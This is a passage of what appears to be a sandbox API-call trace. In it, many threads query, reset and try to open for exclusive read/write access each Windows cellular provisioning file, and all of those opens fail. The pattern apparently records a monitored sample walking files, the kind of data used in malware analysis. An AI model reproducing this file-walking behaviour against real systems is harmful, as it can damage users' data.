Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\297__connections_cellular_t-mobile netherlands (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.369] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\297__Connections_Cellular_T-Mobile Netherlands (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f598) returned 1 [0179.369] RtlExitUserThread (Status=0x0) Thread: id = 2866 os_tid = 0xe14 [0179.271] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.368] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.368] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.368] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.368] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0179.368] RtlExitUserThread (Status=0x0) Thread: id = 2867 os_tid = 0xe18 [0179.271] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0179.366] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.367] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.367] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054f80) returned 1 [0179.367] RtlExitUserThread (Status=0x0) Thread: id = 2868 os_tid = 0xe1c [0179.272] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.365] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.365] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\29__connections_cellular_tele.ring (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.366] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\29__Connections_Cellular_Tele.ring (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.366] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2c70) returned 1 [0179.366] RtlExitUserThread (Status=0x0) Thread: id = 2869 os_tid = 0xe28 [0179.272] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.354] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.354] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.354] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02c10) returned 1 [0179.355] RtlExitUserThread (Status=0x0) Thread: id = 2870 os_tid = 0xe30 [0179.273] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\300__connections_cellular_2degrees (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\300__Connections_Cellular_2degrees (New Zealand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.353] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2460) returned 1 [0179.353] RtlExitUserThread (Status=0x0) Thread: id = 2871 os_tid = 0xe34 [0179.273] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.406] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.406] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.406] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.406] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d160) returned 1 [0179.406] RtlExitUserThread (Status=0x0) Thread: id = 2872 os_tid = 0xe60 [0179.470] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.470] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.470] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\302__connections_cellular_telecom new zealand (new zealand)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.470] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\302__Connections_Cellular_Telecom New Zealand (New Zealand)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ccf8) returned 1 [0179.471] RtlExitUserThread (Status=0x0) Thread: id = 2873 os_tid = 0xe64 [0179.472] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.472] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\303__connections_cellular_vodafone nz (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.472] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\303__Connections_Cellular_Vodafone NZ (New Zealand)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa6d0) returned 1 [0179.472] RtlExitUserThread (Status=0x0) Thread: id = 2874 os_tid = 0xe6c [0179.474] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0179.474] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.474] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.474] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0179.474] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054968) returned 1 [0179.474] RtlExitUserThread (Status=0x0) Thread: id = 2875 os_tid = 0x380 [0179.475] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.476] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2dc8) returned 1 [0179.476] RtlExitUserThread (Status=0x0) Thread: id = 2876 os_tid = 0xc98 [0179.477] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml")) returned 0x20 [0179.477] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.477] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.478] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.478] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1190) returned 1 [0179.478] RtlExitUserThread (Status=0x0) Thread: id = 2877 os_tid = 0x1004 [0179.479] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.479] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.479] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.479] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.479] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2868) returned 1 [0179.479] RtlExitUserThread (Status=0x0) Thread: id = 2878 os_tid = 0x1008 [0179.480] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.481] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.481] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.481] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12e8) returned 1 [0179.481] RtlExitUserThread (Status=0x0) Thread: id = 2879 os_tid = 0x100c [0179.482] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.482] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.482] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.483] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01a20) returned 1 [0179.483] RtlExitUserThread (Status=0x0) Thread: id = 2880 os_tid = 0x1010 [0179.484] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0179.484] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.484] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.484] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0179.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, 